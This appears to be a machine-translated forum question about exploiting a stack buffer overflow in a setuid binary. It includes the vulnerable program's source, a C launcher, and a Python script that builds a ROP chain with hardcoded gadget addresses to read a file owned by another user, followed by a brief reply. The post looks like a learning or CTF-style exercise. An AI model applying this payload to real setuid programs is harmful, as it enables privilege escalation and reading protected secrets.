拥有此程序,它会打开/ etc / secret的文件描述符,该文件描述符由userA拥有并设置为仅由userA读取。
-r -------- 1 userA userA secret
该程序通过execve分叉子进程,这是一个二进制文件,setuid位设置为userA
-r-sr-x --- 1 userA userB prog
prog有缓冲区溢出。堆栈是不可执行的。我设法写了一个调用read()的ROP链。对于读取,我需要一个描述符参数,我希望它是/ etc / secret的描述符。
是否可以修改/ etc / secret描述符被打开?从现在开始,我获得了权限被拒绝,这是有意义的,因为我将其称为userB。 Child运行一个具有setuid位设置(userA)的程序,所以也许有一种方法可以在子执行阶段调用open?有什么想法吗?
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int main(void)
{
pid_t pid;
int fd;
int fd1;
fd1 = open("/etc/secret",O_RDONLY); //file I want to read
if (fd1 < 0) {
perror("open");
return EXIT_FAILURE;
}
printf("FD:%d\n",fd1);
fd = open("in.txt", O_RDONLY); //ROP Chain,Payload that makes read()
if (fd < 0) { //I pass the file descriptor as a parameter
//Normally a integer 3
perror("open");
return EXIT_FAILURE;
}
if ((pid = fork()) < 0) {
perror("fork");
return EXIT_FAILURE;
} else if (! pid) { /* child */
dup2(fd, STDIN_FILENO);
close(fd);
execlp("/opt/prog", "prog", (char *)0);
perror("exec");
return EXIT_FAILURE;
} else { /* parent */
printf("Parent waiting\n");
}
return EXIT_SUCCESS;
}
更新1:
prog源代码:
#include <stdio.h>
void main(){
int buf[8];
read(0, buf, 256);
}
更新2:
Rop链
#!/usr/bin/env python
import struct
payload = "A" * 24
payload += struct.pack("<Q", 0x00000000004005b6)
payload += "A" * 8
payload += struct.pack("<Q", 0x0)
payload += struct.pack("<Q", 0x1)
payload += struct.pack("<Q", 0x00000000006006c8)
payload += struct.pack("<Q", 0x3) # Value for RDI register
payload += struct.pack("<Q", 0x0000000000600009) # Value for RSI register
payload += struct.pack("<Q", 0x8) # Value for RDX register
payload += struct.pack("<Q", 0x00000000004005a0)
payload += "E"*56
payload += struct.pack("<Q", 0x00000000004003e0)
f = open("in.txt", "w")
f.write(payload)
更新3
制作了这个测试程序。 / etc / secret由userA拥有并设置为只能由userA读取,我以userB运行程序:
test.c的
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int main(void)
{
pid_t pid;
int fd;
int fd1;
fd1 = open("/etc/secret",O_RDONLY); //file I want to read
if (fd1 < 0) {
perror("open");
return EXIT_FAILURE;
}
printf("FD:%d\n",fd1);
}
输出是:
./测试 开放:权限被拒绝
所以我猜没有办法解决它,open()在返回描述符之前检查文件的权限?
答案 0 :(得分:0)
你需要关闭父母的管道,不是吗。为什么不在子进程中打开文件。